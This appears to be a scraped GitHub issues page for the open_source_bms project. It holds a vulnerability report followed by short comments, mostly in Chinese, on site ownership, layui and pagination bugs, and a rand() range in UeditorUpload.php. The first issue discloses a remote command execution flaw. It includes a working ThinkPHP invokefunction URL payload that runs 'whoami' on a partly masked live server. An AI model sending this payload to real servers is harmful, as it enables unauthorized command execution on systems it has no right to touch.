open_source_bms

open_source_bms copied to clipboard

There is A RCE vulnerability in your system.

2

The RCE(Remote Command Execution) vulnerability is triggered by a http request.Successfully executed the command "whoami". poc: http://58.82.XXX.XXX:8080/public//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami  

CCkiller

老哥，这个站点现在是你在写的嘛，还是别人借用你的模板

2

http://dyh.fsxy.com/

Youao1020

1、更新最新的layui 2、分页bug 3、菜单管理的分页

Tiamo1221

似乎没咋更新了，支持一下，加油

kingyangcn

检查是发现 UeditorUpload.php 文件的问题 $randNum = rand(1, 10000000000) . rand(1, 10000000000); 应该是 $randNum = rand(1, 10000).rand(1, 10000);

suifeng168